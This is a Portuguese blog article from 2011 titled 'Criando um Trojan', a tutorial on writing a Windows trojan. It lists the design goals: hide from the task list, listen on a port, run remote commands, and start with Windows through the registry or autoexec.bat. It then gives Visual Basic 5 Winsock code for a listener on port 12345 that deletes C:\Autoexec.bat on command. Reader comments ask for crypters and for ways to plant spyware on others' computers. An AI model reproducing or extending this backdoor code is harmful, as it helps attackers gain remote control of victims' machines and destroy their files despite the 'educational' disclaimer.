Criando um Trojan

12/01/2011 10:41 4 comentários

Compartilhe este artigo

Autor:

Alberto

Tags:

Tópicos

00. O quê é um trojan?

01. O quê é preciso para criar um trojan?

02. Qual linguagem de programação utilizaremos?

03. Começando a programar

04. Exemplo básico de um trojan em Visual Basic

05. Palavras finais

00. O quê é um trojan?

Trojan é uma abreviatura de Trojan Horse (Cavalo de Tróia).

Tem esse nome pela semelhança com o cavalo de madeira usado

pelos troianos pra invadir a base de seus inimigos.

Vendo pelo lado da informática, é um programa que ouve em

uma porta do seu sistema e aguarda comandos de um cliente.

01. O quê é preciso para criar um trojan?

Um conhecimento bom em programação em qualquer linguagem.

Aconselho o uso de Delphi e Visual Basic p/ escrita de trojans

p/ Windows e C, Assembly ou LKM p/ escrita de trojans p/ Linux.

02. Qual linguagem de programação utilizaremos?

Visual Basic 5.0.

03. Começando a programar

Pra começar a programar você precisa saber umas coisas básicas.

Aqui vão elas:

* Conhecer bem uma linguagem de programação, aqui, no caso do

tutorial a utilizada é o Visual Basic 5.0 da Micro$oft.

* O trojan deve ficar oculto na lista de tarefas do Windows

(ctrl alt del)

* O trojan deve ouvir em uma porta TCP ou UDP e aguardar comandos.

* O trojan deve interpretar os comandos recebidos pelo cliente

e os executar na máquina infectada(servidor).

* O trojan deve se auto iniciar junto com o Windows, para isso você

pode usar uma chave no registro do Windows, autoexec.bat, win.ini

ou qualquer outro meio desde que o servidor se inicie com o Windows.

04. Exemplo básico de um trojan em Visual Basic

Crie um projeto no Visual Basic e adicione a Winsock no formulário

(Ctrl + T e marque a Microsoft Winsock Control 5.0)

Dê dois cliques no ícone da winsock na toolbox p/ adiciona-la

ao nosso formulário.

Dê dois cliques no formulário p/ entrarmos na Code Window

Pronto… estamos na Code Window. É aqui que faremos o nosso trojan.

Escreva isso:

Private Sub Form_Load()

Winsock1.LocalPort = “12345″

Winsock1.Listen

End Sub

Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)

Winsock1.Close

Winsock1.Accept requestID

End Sub

Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)

Dim recebido As String

Winsock1.GetData recebido

If recebido = “deletar_autoexec” Then

Kill “C:\Autoexec.bat”

End If

End Sub

Explicando o código:

Winsock1.LocalPort = “12345″

* Configura a Winsock p/ ficar na porta 12345

Winsock1.Listen

* Coloca a Winsock em estado de espera(ouvindo) na porta 12345

Dim recebido As String

* Declara a variável “recebido” como String

Winsock1.GetData recebido

* Informa a Winsock que a variável “recebido” irá guardar

* todas as strings recebidas(enviadas pelo cliente)

If recebido = “deletar_autoexec” Then

Kill “C:\Autoexec.bat”

End If

* Esse código diz que se a variável “recebido” receber a string

“deletar_autoexec” o arquivo C:\Autoexec.bat será deletado.

O básico(muito básico mesmo!!!) de um trojan é isso…

05. Palavras finais

Bem… chegamos ao fim desse tutorial…

Pra programar um trojan é preciso muito mais que isso mais o

ponta pé inicial foi dado…

( material para fins educacionais, não nos responsabilizamos pelo uso indevido do mesmo)

Fonte: femedina.tripod.com

VN:F [1.9.8_1114]
Rating: 7.2/10 (45 votes cast)
VN:F [1.9.8_1114]
Rating: +8 (from 14 votes)
Criando um Trojan, 7.2 out of 10 based on 45 ratings
  • Ivo F. Marques

    A parte tecnica ficou show.
    Mas tem uma correção na parte da origem do nome… Os traianos não usavam o cavalo de madeira pra invadir cidades inimigas, os gregos que usaram um cavalo de madeira com soldados dentro pra invadir Tróia. Segundo a lenda.
    Parabéns pelo tutorial.

    VA:F [1.9.8_1114]
    Rating: 1.0/5 (2 votes cast)
    VA:F [1.9.8_1114]
    Rating: -2 (from 2 votes)
  • adonis

    gostaria de obter mais informaçoes sobre programaçao de trojans se possivel um curso virtual ol instruçoes ol algo dessa natureza

    VA:F [1.9.8_1114]
    Rating: 1.0/5 (2 votes cast)
    VA:F [1.9.8_1114]
    Rating: -2 (from 2 votes)
  • dominike10

    voces nao tem um cripter ai!!

    VA:F [1.9.8_1114]
    Rating: 1.0/5 (2 votes cast)
    VA:F [1.9.8_1114]
    Rating: -2 (from 2 votes)
  • habbo

    queria saber como hackear 1 habbo sem programas e também saber colocar um vírus espião no computador de alguém

    VA:F [1.9.8_1114]
    Rating: 1.0/5 (2 votes cast)
    VA:F [1.9.8_1114]
    Rating: -2 (from 2 votes)